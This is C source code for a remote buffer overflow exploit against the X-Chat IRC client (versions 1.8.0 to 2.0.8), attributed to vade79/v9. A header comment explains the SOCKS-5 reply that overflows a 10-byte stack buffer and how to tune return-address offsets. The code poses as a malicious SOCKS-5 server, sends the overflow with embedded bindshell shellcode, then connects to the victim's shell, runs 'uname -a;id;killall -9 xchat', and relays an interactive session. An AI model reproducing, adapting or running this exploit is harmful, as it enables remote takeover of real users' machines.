/*[ X-Chat[v1.8.0 - v2.0.8]: socks-5 remote buffer overflow exploit. ]* * * * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo) * * * * X-Chat homepage: * * http://www.xchat.org * * * * compile: * * cc xxchat-socks5.c -o xxchat-socks5 * * * * trigger bug/workings(X-Chat socks-5 comminucation): * * 0x05,0x00 * * 0x05,0x00,0x00,0x03 * * 0x?? (the size of the following "data", 255MAX(char/int8)) * * 0x??,0x??,0x?? ... ("data") * * * * ie. "\x05\x00\x05\x00\x00\x03\xffxxxxxxxxxxxxxxxxxxxxxxxxxxxx..." * * * * the "data", limited by the previous byte, is then copied into a * * 10 byte buffer labeled buf[]. the idea is to set the size of * * the incoming data to a larger size than expected(ie. 0xff/255MAX), * * followed by sending that amount of data to exceed the 10 byte * * buffer boundary and overwrite memory addresses(stack based). * * * * the problem with the size limit is that it is defined in one * * character(char/int8), making a maximum of up to 255 bytes to be * * written to buf[]. so, this only leaves about ~100+ nops breathing * * room per offset. another problem is that the location of the * * shellcode depends on where/what X-Chat has already done. those * * two things together make for a very unpractical "in the wild" * * exploit scenario. * * * * i just saw several cryptic advisories about this bug, so i figured * * i would look into it and see exactly what it was. * * * * if X-Chat attempts to connect to a server(through socks-5) * * immediately upon the start of X-Chat("autoconnect") it will make * * the shellcode location a bit easier to find. on both source * * compiled version 1.8.0(on rh7.1) and mandrake's rpm static binary * * version 2.0.5(on mdk9.1) an offset of 2600 worked. * * * * note: the first thing that is sent to the bindshell, upon * * successful exploitation, is "killall -9 xchat". this will kill * * X-Chat, but still keep the bindshell alive/active. when searching * * for the correct offset, use increments of 100(100,200,300,...). * **********************************************************************/ #include #include #include #include #include #include #include #include #include #include #include #include #define BUFSIZE 255 #define BSEADDR 0xbffffffa #define DFLPORT 1080 #define DFLSPRT 7979 #define TIMEOUT 5 static char x86_exec[]= /* bindshell(??), netric based. */ "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66" "\xcd\x80\x31\xd2\x52\x66\x68\x00\x00\x43\x66\x53\x89" "\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89" "\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52" "\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80" "\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68" "\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd" "\x80"; char *getcode(unsigned int); char *socks5_bind(unsigned short,unsigned int); void getshell(char *,unsigned short); void printe(char *,short); void sig_alarm(){printe("alarm/timeout hit.",1);} int main(int argc,char **argv){ unsigned short port=DFLPORT,sport=DFLSPRT; unsigned int retaddr=BSEADDR; char *hostptr; if(BUFSIZE<0||BUFSIZE>255)printe("BUFSIZE must be 1-255(char/int8).",1); printf("[*] X-Chat[v1.8.0-v2.0.8]: socks-5 remote buffer overflow exp" "loit.\n[*] by: by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)\n\n"); if(argc<2){ printf("[!] syntax: %s [port] [shell port]\n\n", argv[0],BSEADDR); exit(1); } if(argc>1)retaddr-=atoi(argv[1]); if(argc>2)port=atoi(argv[2]); if(argc>3)sport=atoi(argv[3]); x86_exec[20]=(sport&0xff00)>>8; x86_exec[21]=(sport&0x00ff); printf("[*] eip: 0x%.8x, socks-5 port: %u, bindshell port: %u.\n", retaddr,port,sport); hostptr=socks5_bind(port,retaddr); sleep(1); getshell(hostptr,sport); exit(0); } char *getcode(unsigned int retaddr){ unsigned char i=0; char *buf; if(!(buf=(char *)malloc(BUFSIZE+1))) printe("getcode(): allocating memory failed.",1); memset(buf,0x90,BUFSIZE); for(i=0;i<64;i+=4){*(long *)&buf[i]=retaddr;} memcpy((buf+BUFSIZE-strlen(x86_exec)),x86_exec,strlen(x86_exec)); return(buf); } char *socks5_bind(unsigned short port,unsigned int retaddr){ int ssock=0,sock=0,so=1; socklen_t salen=0; unsigned char *buf; struct sockaddr_in ssa,sa; ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so)); #ifdef SO_REUSEPORT setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so)); #endif ssa.sin_family=AF_INET; ssa.sin_port=htons(port); ssa.sin_addr.s_addr=INADDR_ANY; printf("[*] awaiting connection from: *:%d.\n",port); if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1) printe("could not bind socket.",1); listen(ssock,2); bzero((char*)&sa,sizeof(struct sockaddr_in)); salen=sizeof(sa); sock=accept(ssock,(struct sockaddr *)&sa,&salen); close(ssock); printf("[*] socks-5 server connection established.\n"); if(!(buf=(unsigned char *)malloc(BUFSIZE+7+1))) printe("socks5_bind(): allocating memory failed.",1); memcpy(buf,"\x05\x00\x05\x00\x00\x03",6); buf[6]=BUFSIZE; memcpy(buf+7,getcode(retaddr),BUFSIZE); printf("[*] sending specially crafted string. (exploit)\n"); write(sock,buf,BUFSIZE+7); free(buf); sleep(1); close(sock); printf("[*] socks-5 server connection closed.\n"); return(inet_ntoa(sa.sin_addr)); } void getshell(char *hostname,unsigned short port){ int sock,r; fd_set fds; char buf[4096+1]; struct hostent *he; struct sockaddr_in sa; printf("[*] checking to see if the exploit was successful.\n"); if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) printe("getshell(): socket() failed.",1); sa.sin_family=AF_INET; if((sa.sin_addr.s_addr=inet_addr(hostname))){ if(!(he=gethostbyname(hostname))) printe("getshell(): couldn't resolve.",1); memcpy((char *)&sa.sin_addr,(char *)he->h_addr, sizeof(sa.sin_addr)); } sa.sin_port=htons(port); signal(SIGALRM,sig_alarm); alarm(TIMEOUT); printf("[*] attempting to connect: %s:%d.\n",hostname,port); if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){ printf("[!] connection failed: %s:%d.\n",hostname,port); return; } alarm(0); printf("[*] successfully connected: %s:%d.\n\n",hostname,port); signal(SIGINT,SIG_IGN); write(sock,"uname -a;id ;killall -9 xchat\n",30); while(1){ FD_ZERO(&fds); FD_SET(0,&fds); FD_SET(sock,&fds); if(select(sock+1,&fds,0,0,0)<1) printe("getshell(): select() failed.",1); if(FD_ISSET(0,&fds)){ if((r=read(0,buf,4096))<1) printe("getshell(): read() failed.",1); if(write(sock,buf,r)!=r) printe("getshell(): write() failed.",1); } if(FD_ISSET(sock,&fds)){ if((r=read(sock,buf,4096))<1) exit(0); write(1,buf,r); } } close(sock); return; } void printe(char *err,short e){ printf("[!] %s\n",err); if(e)exit(1); return; }